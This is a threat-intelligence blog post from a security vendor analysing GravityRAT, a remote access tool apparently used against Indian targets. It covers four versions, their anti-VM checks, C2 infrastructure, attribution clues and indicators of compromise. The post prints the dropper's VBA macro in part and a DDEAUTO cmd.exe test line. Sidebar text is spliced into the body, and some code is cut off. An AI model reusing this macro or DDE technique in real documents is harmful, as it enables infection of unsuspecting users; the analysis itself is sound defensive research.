y Information p Center y pp Communities Blog **T H U R S D AY, A PR I L 2 6, 2 0 1 8** # GravityRAT - The Two-Year Evolution Of An APT Targeting India [This blog post is authored by Warren Mercer and Paul Rascagneres.](https://twitter.com/securitybeard) Search Blog **S UB S C R IB E TO OUR FE E D** Posts Comments [Subscribe via Email](http://www.talosintelligence.com/blog_subscription) **B LOG A R C HIV E** [▼ 2 01 8](javascript:void(0)) (63) [▼ A P RI L](javascript:void(0)) (21) [Threat Round Up for April 20-27](https://blog.talosintelligence.com/2018/04/threat-round-up-0420-0427.html) GravityRAT - The Two-Year Evolution Of An APT Targ... [Vulnerability Spotlight: Hyland](https://blog.talosintelligence.com/2018/04/hyland-vulnerabilities-code-execution.html) Perceptive Documen... [Cryptomining Campaign Returns](https://blog.talosintelligence.com/2018/04/cryptomining-campaign-returns-coal-not-diamond.html) Coal and Not Diamond... [Beers with Talos EP27: Smart Install,](https://blog.talosintelligence.com/2018/04/beers-with-talos-ep27-smart-install.html) Vuln Process ----- ## SUMMARY Today, Cisco Talos is uncovering a new piece of malware, which has remained under the radar for the past two years while it continues to be developed. Several weeks ago, we identified the use of the latest version of this RAT (Remote Access Tool). In this article, we will discuss the technical capabilities, the evolution, development and potential attribution of what we are calling GravityRAT. GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We've seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor. Throughout our investigation, we observed several malicious documents used to attack victims, which we will discuss. These malicious documents were used by the developer to run several tests on the popular analysis platform VirusTotal. Using VirusTotal allowed the developer to make changes in an attempt to decrease antivirus detection. Although GravityRAT has not been previously published or discussed, there was some information from the National Computer Emergency Response Team (CERT) of India describing GravityRAT as [being used in targeted attacks against India. Finally, we will discuss specific attribution elements](https://nic-cert.nic.in/NIC_CERT/pdf/13-Advisory for Malicious Targeted Attack Campaign.pdf) discovered during our research into GravityRAT as we identify specific information, which we believe to be leaked by the developer, such as location, and potentially their first name. Video Camera Fi... [Threat Roundup for April 6 - 13](https://blog.talosintelligence.com/2018/04/threat-round-up-0406-0413.html) [Vulnerability Spotlight: Multiple](https://blog.talosintelligence.com/2018/04/vuln-moxa-edr-810.html) Vulnerabilities ... [Malware monitor - leveraging](https://blog.talosintelligence.com/2018/04/malware-monitor-pyrebox-for-analysis.html) PyREBox for malware a... [Vulnerability Spotlight: TALOS-2018-](https://blog.talosintelligence.com/2018/04/vulnerability-spotlight-talos-2018-0529-531.html) 0529-531 - Mul... [Vulnerability Spotlight: Multiple](https://blog.talosintelligence.com/2018/04/simple-direct-media-layer-vulnerabilities.html) Simple DirectMed... [Vulnerability Spotlight: Multiple](https://blog.talosintelligence.com/2018/04/PhotoLine-PSD-Code-Execution.html) Computerinsel Ph... [Microsoft Patch Tuesday - April](https://blog.talosintelligence.com/2018/04/ms-tuesday.html) 2018 [IcedID Banking Trojan Teams up](https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html) with Ursnif/Dreambo... [Beers with Talos EP26: Talos is](https://blog.talosintelligence.com/2018/04/beers-with-talos-ep26-talos-is-holding.html) Holding a Conferen... [Critical Infrastructure at Risk:](https://blog.talosintelligence.com/2018/04/critical-infrastructure-at-risk.html) Advanced Actors T... [Vulnerability Spotlight: Natus](https://blog.talosintelligence.com/2018/04/vulnerability-spotlight-natus.html) NeuroWorks Multiple... [Vulnerability Spotlight: Moxa AWK-](https://blog.talosintelligence.com/2018/04/vulnerability-spotlight-moxa-awk-3131a.html) 3131A Multiple F... [Fake AV Investigation Unearths](https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html) KevDroid, New Andro... [► M A RC H](javascript:void(0)) (10) [► FE BRU A RY](javascript:void(0)) (14) [► J A N U A RY](javascript:void(0)) (18) [► 2 01 7](javascript:void(0)) (172) [► 2 01 6](javascript:void(0)) (98) [► 2 01 5](javascript:void(0)) (62) [► 2 01 4](javascript:void(0)) (67) ----- ## INFECTION VECTORS Malicious Office Documents The majority of the malicious documents crafted by the malware author are Microsoft Office Word documents. The attacker uses an embedded macro in order to execute malicious code on the victim's system. The document opens and appears as such: [► 2 009](javascript:void(0)) (146) [► 2 008](javascript:void(0)) (37) **R E C OM M E N DE D B LOG S** [C I S C O BL O G](https://blogs.cisco.com) [Talos Threat Round Up for April 20-27](https://blogs.cisco.com/security/talos/talos-threat-round-up-for-april-20-27) [C L A M A V® BL O G](http://blog.clamav.net/) [ClamAV 0.100.0 has been released!](https://feedproxy.google.com/~r/Clamav/~3/takVpuywnTk/clamav-01000-has-been-released.html) [S N O RT BL O G](http://blog.snort.org/) Snort Subscriber Rule Set Update for 01/16/2018 ----- their systems. By enabling macros, the malware is able to begin it s execution. We discovered that the embedded macro is quite small when extracted. Sub AutoOpen() If Not Dir(Environ("TEMP") + "\image4.exe") <> "" Then Const lCancelled_c As Long = 0 Dim sSaveAsPath As String sSaveAsPath = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\temporary.zip" If VBA.LenB(sSaveAsPath) = lCancelled_c Then Exit Sub ActiveDocument.Save Application.Documents.Add ActiveDocument.FullName ActiveDocument.SaveAs sSaveAsPath ActiveDocument.Close Set app = CreateObject("Shell.Application") ExtractTo = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") ExtractByExtension app.NameSpace(Environ("TEMP") + "\temporary.zip"), "exe", ExtractTo End If End Sub Sub ExtractByExtension(fldr, ext, dst) Set FSO = CreateObject("Scripting.FileSystemObject") Set app = CreateObject("Shell.Application") For Each f In fldr.Items If f.Type = "File folder" Then ExtractByExtension f.GetFolder, ext, dst ElseIf LCase(FSO.GetExtensionName(f.Name)) = LCase(ext) Then If Not Dir(Environ("TEMP") + "\image4.exe") <> "" Then app.NameSpace(dst).CopyHere f.Path, &H4 ----- DAILY /f /RI 10 /du 24:00 /st 00:01 End Sub This macro contains three functions: The first one is executed when the document is opened. The purpose is to copy the active document (the opened Word document) in a temporary directory and to rename it as a ZIP archive. Indeed, the docx format is, in fact, a common ZIP archive, and can be unzipped using common tools. The second function decompresses this 'temporary.zip' file and extracts the .exe file stored in it. The third creates a scheduled task, named 'wordtest', to execute this malicious file every day. With this approach, the attacker ensures that there is no direct execution (the executable is executed thanks to scheduled tasks), there's no download of an additional payload, and finally, the author uses the fact that the docx format is an archive in order to include its executable (GravityRAT). ## Testing By The Author During our tracking, we identified several malicious documents submitted from this actor on VirusTotal for testing purposes. They tested the detection on macros (by modifying them, or by executing the calc instead of the malicious payload) and the developers tried dynamic data exchange (DDE) execution in the Office document. This is abusing the DDE protocol which exists within Microsoft Office documents. Whilst this is a feature Microsoft provide it is also a feature that [an attacker can leverage for malicious activity, Microsoft published mitigation information here](https://docs.microsoft.com/en-us/security-updates/securityadvisories/2017/4053440) previously. The developer crafted Office Word and Excel documents to see the detection in VirusTotal. The authors tried to hide the DDE object in a different part of the document — in the ----- DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" We believe the filenames of the submitted samples are clearly testing docs, using different methods and Office tricks to attempt to ensure his malware was undetected. Those names were: testnew1.docx Test123.docx test456.docx test2.docx book1test2.xlsx Test123.doc ## GRAVITYRAT ----- active, and how their attacks had evolved. We were able to discover four distinct versions of GravityRAT, developed over two years. Next, we will go through what we believe is the development life cycle and feature-addition mission carried out by this developer. ## Version G1 The malware author uses a versioning system starting by the G letter. The oldest version we identified is G1. Here is the PDB path of the sample: f:\F\Windows Work\G1\Adeel's Laptop\G1 Main Virus\systemInterrupts\gravity\obj\x86\Debug\systemInterrupts.pdb You can notice the potential first name of the developers: Adeel. Of course, this information can be manipulated by the malware author. This sample was compiled in December 2016. The original filename of the sample was resume.exe. The purpose of this version was to steal information on the compromised system: MAC Address Computer name Username IP address Date Steal files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf and .pdf The volumes mapped on the system All this information was then sent to one of the following domains: ----- G1 also had the ability to execute commands remotely on the infected host machine at the author's will. ## Version G2 We identified a new variant used in July 2017 named G2. Here is the PDB of the sample: e:\Windows Work\G2\G2 Main Virus\Microsoft Virus Solutions (G2 v5) (Current)\Microsoft Virus Solutions\obj\Debug\Windows Wireless 802.11.pdb For this version, the developer modified the architecture of the malware. The main code aims to load and execute two additional .NET binaries stored in the resources of the file: [The first resource is a legitimate open-source library available on GitHub. It's a .NET](https://github.com/dahall/TaskScheduler) wrapper for the Windows Task Scheduler The second is the G2 version of GravityRAT This variant shares the same command and control (C2) servers as G1, however, we have an additional 'payload' variable added to G2. ----- This variant has almost identical capabilities as the previous, except one additional functionality: It collects the CPU information in the Win32_Processor entry via WMI request (Processor ID, Name, Manufacturer and the clock speed). The attacker is most likely using this information as part of an anti-vm attempt within this malware. This is used to try and thwart analysis in virtual environments. In a slight change to the previous variant, the new payloads are executed with a Windows Scheduled Task. This would explain the inclusion of the .NET wrapper. The analysed sample contained a decoy picture document in the resource section: ----- ## Version G3 In August 2017, the author of GravityRAT used a new variant of its malware, G3. Here is the PDB: F:\Projects\g3\G3 Version 4.0\G3\G3\obj\Release\Intel Core.pdb This variant uses the same method as G2, and includes a legitimate library in the resource section. The developers also added additional language support to the library: German Spanish French Italian Chinese ----- The author changed the backend of the C2 server with this variant. The URI changed too, it contains the GravityRAT variant name: August was also the same month the Indian CERT notified potential victims that GravityRAT had been used in a targeted campaign. Given the ongoing development nature of this malware, it meant another variant was most likely due. ## Version GX The latest version of GravityRAT was created in December 2017 named GX. Here is the PDB: C:\Users\The Invincible\Desktop\gx\gx-current program\LSASS\obj\Release\LSASS.pdb ----- p This variant has the same features as before, but this time, some new features are added: It collects open ports on the victim host by running the netstat command It lists all the running processes It lists available services on the system It exfiltrates .ppt and .pptx file, in addition to the extension mentioned in the G1 variant If a USB key is connected on the system, the malware steals the file based on an extension list It supports file encryption (AES with the key "lolomycin2017") It collects information on the account (account type, description, domain name, full name, SID and status) It checks if the system is a virtual machine with several techniques The developer implemented a total of seven techniques to identify if the compromised system is a virtual machine. The first technique consists of looking at any additional tools used by the hypervisor that are installed on the system (by checking a registry key): The second technique uses a WMI request to the BIOS version (Win32_BIOS entry). If the response contains: "VMware", "Virtual", "XEN", "Xen" or "A M I" the system is considered as a virtual machine. Additionally, the malware checks the SerialNumber and the version of the BIOS. ----- The third technique uses the Win32_Computer entry in WMI. It checks if the manufacturer contains "VIRTUAL", "VMWARE" or "VirtualBox". The fourth technique checks the Processor ID of the system. The fifth technique counts the number of cores in the infected system (the author expects more than one core) ----- The sixth technique checks the current CPU temperature of the system (the MSAcpi_ThermalZoneTemperature entry). Indeed, some hypervisors (VMWare, VirtualBox and Hyper-V) do not support temperature check. The WMI request simply replies "not supported". This behaviour can be used to detect if the targeted system is a real machine. The last technique uses the MAC Address of the infected system. If the MAC Address starts by a well-known hexadecimal number, the system is identified as a virtual machine. The C2 servers communication is performed in HTTP as it did previously. The variant version of GX is used in the URI. The C2 servers we can see are shared with the previous variants: ----- ## WHAT WE KNOW ABOUT THE AUTHOR Below, we will present evidence that we have obtained regarding the attacker and the associated malware. Obviously, attribution is a complex field. The developers could be using a proxy or a VPN in order to fake the origin of the submission. But, we will still simply present some facts concerning this actor. The developer used at least two different usernames in the past two years: "The Invincible" and "TheMartian." In the oldest version of GravityRAT, the attacker potentially leaked his or her first name in the PDB: "Adeel" — the path contained "Adeel's Laptop". Additionally, all the malicious Office documents, and more specifically the documents used to test anti-virus on VirusTotal, were submitted from Pakistan. One of the four PE files in the IOCs section was sent from Pakistan, too. [In August 2017, the Indian National CERT published an advisory about malicious targeted](https://nic-cert.nic.in/NIC_CERT/pdf/13-Advisory for Malicious Targeted Attack Campaign.pdf) campaigns. This advisory mentions the C2 server infrastructure of GravityRAT, which means the GravityRAT author likely targeted Indian entities/organisations. By leveraging Cisco Umbrella and using the Investigate tool, we were able to determine that across all of the C2 domains listed, we saw a large influx of traffic originating from India, as evidenced by the National CERT, all of the C2 domains were at least 50 percent requested by Indian IP infrastructure. It is possible that some of the non-Indian IP space requests may artefacts be due to our own research. ----- ## CONCLUSION This actor is probably not the most advanced actor we've seen. But he or she managed to stay under the radar since 2016. They worked on malicious code, and produced four variants. Each new variant included new features. The developer used the same C2 infrastructure all this time. The developer was clever enough to keep this infrastructure safe, and not have it blacklisted by a security vendor. The actor took their time to ensure they were not within a virtual environment to avoid analysis. However, they did not take any time at all to attempt to obfuscate their .NET code. The code was largely trivial to reverse engineer, which meant static analysis was an easy option for this piece of malware. The Indian CERT published an advisory about this actor, which suggest they targeted Indian entities and organizations. The author leaked information within the samples (i.e. Adeel) and on the VirusTotal platform. Thanks to this information, we we able to understand how they tested malicious documents in order to decrease detection ratios across many popular engines. During this testing period, all the samples were uploaded from Pakistan to VirusTotal. ----- [Advanced Malware Protection (AMP) is ideally](https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/advanced-malware-protection&sa=D&ust=1524553763505000) suited to prevent the execution of the malware used by these threat actors. [CWS or WSA web scanning prevents access to](https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html&sa=D&ust=1524553763506000) malicious websites and detects malware used in these attacks. [Email Security can block malicious emails sent](https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html&sa=D&ust=1524553763507000) by threat actors as part of their campaign. [Network Security appliances such as NGFW,](https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/firewalls/index.html&sa=D&ust=1524553763508000) [NGIPS, and Meraki MX can detect malicious](https://www.google.com/url?q=https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html&sa=D&ust=1524553763508000) activity associated with this threat. [AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security](https://www.google.com/url?q=https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html&sa=D&ust=1524553763509000) products. [Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains,](https://www.google.com/url?q=https://umbrella.cisco.com/&sa=D&ust=1524553763510000) IPs, and URLs, whether users are on or off the corporate network. Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest [rule pack available for purchase on Snort.org.](https://www.google.com/url?q=https://www.snort.org/products&sa=D&ust=1524553763510000) ## IOCS Malicious Documents ----- 835e759735438cd3ad8f4c6dd8b035a3a07d6ce5ce48aedff1bcad962def1aa4 C14f859eed0f4540ab41362d963388518a232deef8ecc63eb072d5477e151719 ed0eadd8e8e82e7d3829d71ab0926c409a23bf2e7a4ff6ea5b533c5defba4f2a f4806c5e4449a6f0fe5e93321561811e520f738cfe8d1cf198ef12672ff06136 OTHER MALICIOUS DOCUMENTS (DDE) 911269e72cd6ed4835040483c4860294d26bfb3b351df718afd367267cd9024f fb7aa28a9d8fcfcabacd7f390cee5a5ed67734602f6dfa599bff63466694d210 ef4769606adcd4f623eea29561596e5c0c628cb3932b30428c38cfe852aa8301 cd140cf5a9030177316a15bef19745b0bebb4eb453ddb4038b5f15dacfaeb3a2 07682c1626c80fa1bb33d7368f6539edf8867faeea4b94fedf2afd4565b91105 ## GravityRAT G1 9f30163c0fe99825022649c5a066a4c972b76210368531d0cfa4c1736c32fb3a G2 1993f8d2606c83e22a262ac93cc9f69f972c04460831115b57b3f6244ac128bc G3 99dd67915566c0951b78d323bb066eb5b130cc7ebd6355ec0338469876503f90 GX 1c0ea462f0bbd7acfdf4c6daf3cb8ce09e1375b766fbd3ff89f40c0aa3f4fc96 ## C2 Servers hxxp://cone[.]msoftupdates.com:46769 hxxp://ctwo[.]msoftupdates.com:46769 hxxp://cthree[.]msoftupdates.com:46769 hxxp://eone[.]msoftupdates.eu:46769 hxxp://etwo[.]msoftupdates.eu:46769 ----- msoftupdates[.]com msoftupdates[.]eu mylogisoft[.]com URI: /Gvty@/1ns3rt_39291384.php /Gvty@/newIns3rt.php /Gvty@/payloads /Gvty@/ip.php /G3/ServerSide/G3.php /G3/Payload/ /GX/GX-Server.php /GetActiveDomains.php P O S T E D BY [P AU L RAS C AG NE RE S AT](https://www.blogger.com/profile/10073079939160046441) 1 1 : 1 1 AM L ABE L S : [. NE T, AP T, G RAVI T Y RAT, I ND I A](https://blog.talosintelligence.com/search/label/.NET) [, M AC RO S, M AL D O C, M ALWARE ANALY S I S](https://blog.talosintelligence.com/search/label/macros) S H A RE T H I S P O S T NO COMMENTS: POST A COMMENT ----- **Comment as:** [Select profile...] [Select profile...] **PreviewPreview** NE WE R P O S T S U BS C RI BE T O : [P O S T C O M M E NT S (AT O M )](https://blog.talosintelligence.com/feeds/6188594294975286687/comments/default) **PublishPublish** [H O M E](https://blog.talosintelligence.com/) O L D E R P O S T [Software](http://talosintelligence.com/software) [Reputation Center](http://talosintelligence.com/reputation) [Vulnerability Information](http://talosintelligence.com/vulnerability-reports) [Library](http://talosintelligence.com/resources) [Support Communities](http://talosintelligence.com/community) [Microsoft Advisory Snort Rules](http://talosintelligence.com/ms_advisories) [IP Blacklist Download](http://talosintelligence.com/documents/ip-blacklist) [AWBO Exercises](http://talosintelligence.com/awbo_exercises) [About Talos](http://talosintelligence.com/about) [Careers](http://talosintelligence.com/careers) [Blog](https://blog.talosintelligence.com) CONNECT WITH US © 2018 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our [Privacy Policy here.](http://www.cisco.com/web/siteassets/legal/privacy_full.html) -----